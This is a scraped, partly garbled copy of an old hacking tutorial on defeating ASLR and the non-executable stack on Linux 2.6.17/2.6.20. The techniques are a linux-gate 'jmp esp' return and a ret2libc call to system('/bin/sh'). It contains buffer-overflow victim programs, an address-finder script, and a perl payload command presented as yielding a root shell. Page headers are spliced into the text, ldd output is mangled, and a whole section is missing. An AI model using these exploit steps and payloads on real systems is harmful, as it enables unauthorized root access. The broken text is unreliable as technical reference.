aslr-bypass

5
{===============================================================} { } { ASLR bypassing method on 2.6.17/20 Linux Kernel } { No-executable stack space bypassing method on Linux } { } {===============================================================} Requirements: 1. Shellcoding 2. C programming 3. Howto bash and gdb works 4. A brain ==[1. ASLR]== ASLR is a countermeasure based on the randomization of the stack memory. Say that we have a variable located on the stack. If the kernel is compiled with the aslr option active,we can't determine what would be his address, beacause it is randomized. Look at this source: #include <stdio.h> #include <stdlib.h> int main (int argc, char *argv[]) { char *addr; addr=getenv(argv[1]); printf("%s is at: %p\n", argv[1], addr); return 0; } The getenv() function returns the address of the enviroment variable passed as argument.You can try with PWD or exporting a new enviroment address,and you will notice that the returned address is never the same. It's beacause of aslr. But aslr protection can be bypassed. How? Don't stop reading. If you are using the 2.6.17 version of the linux kernel, you can exploit the linux-gate shared object to bypass the protection. Let's see how.Launching the ldd command we can see the dependencies

Transcript of aslr-bypass

8/7/2019 aslr-bypass

http://slidepdf.com/reader/full/aslr-bypass 1/5

{===============================================================}{ }{ ASLR bypassing method on 2.6.17/20 Linux Kernel }{ No-executable stack space bypassing method on Linux }{ }{===============================================================}

Requirements:1. Shellcoding2. C programming3. Howto bash and gdb works4. A brain

==[1. ASLR]==

ASLR is a countermeasure based on the randomization of the stack memory.Say that we have a variable located on the stack. If the kernel

is compiled with the aslr option active,we can't determine whatwould be his address, beacause it is randomized. Look at this source:

#include <stdio.h>

#include <stdlib.h>

int main (int argc, char *argv[]) {

char *addr;

addr=getenv(argv[1]);

printf("%s is at: %p\n", argv[1], addr);

return 0;

}

The getenv() function returns the address of the enviromentvariable passed as argument.You can try with PWD or exportinga new enviroment address,and you will notice that the returnedaddress is never the same. It's beacause of aslr.

But aslr protection can be bypassed. How? Don't stop reading.

If you are using the 2.6.17 version of the linux kernel,you can exploit the linux-gate shared object to bypass the protection.Let's see how.Launching the ldd command we can see the dependencies

8/7/2019 aslr-bypass

http://slidepdf.com/reader/full/aslr-bypass 2/5

of a program,and we discover that every program has a shared objectalways at the same address.The object is the mentioned linux-gate:

fhm@local$ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

linux.so.1 => /lib/librt.so.1 (0xb7f95000)

linx.so.6 => /lib/libc.so.6 (0xb7e75000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)

/lib/ld-linux.so.2 (0xb7fb1000)

fhm@local$ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

linux.so.1 => /lib/librt.so.1 (0xb7fa5000)

linx.so.6 => /lib/libc.so.6 (0xb7e73000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)

/lib/ld-linux.so.2 (0xb7f6a000)

fhm@local$

What does this mean? It's easy. It means that every program sharethe same istructions located in linux-gate.Now we'll look for a particular istrunction:

jmp esp. This istrunction make EIP jump to the positione of ESP.It's particularly useful because we could place our shellcode in the stack,and to execute it we can "redirect" the eip to that area of memory.

The hex of jmp esp is ff e4. We can now easily write a program tofind this pattern, and we'll realize that it's located at 0xffffe777.

Now we can overwrite the return address of a vulnerable functionwith the address 0xffffe777and place the shellode on the stack,doing this, the program will jump to the place of memorypointed by esp and will exe it. Then it will exe our shellcode. =)

But there is a problem. All this work just under 2.6.17 Linux Kernel.If we check for linux-gate address in a update system (2.6.20)we'll see that it's randomized:

fhm@local$ ldd /bin/lslinux-gate.so.1 => (0xb7f78000)librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7f5e000)

libselinux.so.1 => /lib/libselinux.so.1 (0xb7f45000)libacl.so.1 => /lib/libacl.so.1 (0xb7f3d000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dee000)

8/7/2019 aslr-bypass

http://slidepdf.com/reader/full/aslr-bypass 3/5

libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7dd6000)/lib/ld-linux.so.2 (0xb7f79000)libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7dd2000)libattr.so.1 => /lib/libattr.so.1 (0xb7dce000)

fhm@local$ ldd /bin/lslinux-gate.so.1 => (0xb7fd7000)librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7fbd000)

libselinux.so.1 => /lib/libselinux.so.1 (0xb7fa4000)libacl.so.1 => /lib/libacl.so.1 (0xb7f9c000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e4d000)libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7e35000)/lib/ld-linux.so.2 (0xb7fd8000)libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7e31000)libattr.so.1 => /lib/libattr.so.1 (0xb7e2d000)

fhm@local$

So, what now? I think there could be lots of way to solve outthis problem. One of this could be the following.The execl() function family includes these functions:

int execl(const char *path, const char *arg, ...);int execlp(const char *file, const char *arg, ...);int execle(const char *path, const char *arg, ..., char * const envp[]);int execv(const char *path, char *const argv[]);int execvp(const char *file, char *const argv[]);

These functions replaces the image of the exisisting process with the oneof a new process.Now we'll use the execl() function in a program and let's see what happen.Here the source:

#include <stdio.h>

#include <unistd.h>int main (int argc, char *argv[]) {

int var; 

printf("Var is at %p\n", &var);execl("./try", "try", NULL);

}

The execl() functions call another program called "try", here the source:

#include <stdio.h>int main (int argc, char *argv[]) {

char buffer[50]; 

printf("buffer is at %p\n", &buffer);if(argc > 1)

strcpy(buffer, argv[1]);return 1;

}

How you can see, try have a bof vulnerability in the code.But with the aslr protection it cant be exploited normally. Anyway,compile and launch sometimes the first script. You should havea output easy to understand. The execl() function reducesrandomization and we can focus on a address range.

The remaining uncertainty can be easily covered by a large nop sled.To know exactly how large must be the NOP sled we can use gdb...rememberhe is your best friend :).

8/7/2019 aslr-bypass

http://slidepdf.com/reader/full/aslr-bypass 4/5

8/7/2019 aslr-bypass

http://slidepdf.com/reader/full/aslr-bypass 5/5

(gdb) print system$1 = {<text variable, no debug info>} 0xb7ecfd80 <system>(gdb) q

In this case the address is 0xb7ecfd80. Now we can redirect the execution flowof a process to the system() function. But to obtain a shell we have topass an argument to the function, /bin/sh maybe?

In the stack the call to ret2libc will be formed by the function address,the return address and the arguments. The return address is not importantbeacuse system()will open a shell then it wont return to any address while in use.Then we can use anything as return addres, the string "ADDR" too.We can store the string "/bin/sh" everywhere in memory, for example in aenviroment variable. In the end we have to find out the offset to overwrite thereturnaddress of the victim program, like this(sample code):

#include <string.h>int main (int argc, char *argv[]) {

char buffer[5];

strcpy(buffer, argv[1]);return 0;

}

To find the address of the enviroment variable, we can use a script like this:

#include <stdio.h>#include <stdlib.h>#include <string.h>

int main (int argc, char *argv[]){

char *ptr;char tprg_name [20] = "";char var[50];

if (argc < 2){printf("Usage: %s <enviroment var> [target program name]\n",argv[0]);

}

if (argc > 2){strcpy(tprg_name,argv[2]);

}

ptr = getenv(argv[1]); /* Get env var location */ptr += (strlen(argv[0]) - strlen(tprg_name))*2; /* Adjust for program name */printf("%s will be at %p\n",argv[1], ptr);}

Once found the address of the enviroment variable (suppose it's 0xbffffe5b)and the offset (gdb?) we can launch the target program, in this way:

fhm@local$ ./target $(perl -e 'print "ABCD"x<offset> . "\x80\xfd\xec\xb7ADDR\x5b\xfe\xff\xbf"')

And you will obtain a root shell.(If it doesnt work try exporting in the enviroment variable a string like

" /bin/sh" (with space) it could work like a NOP sled).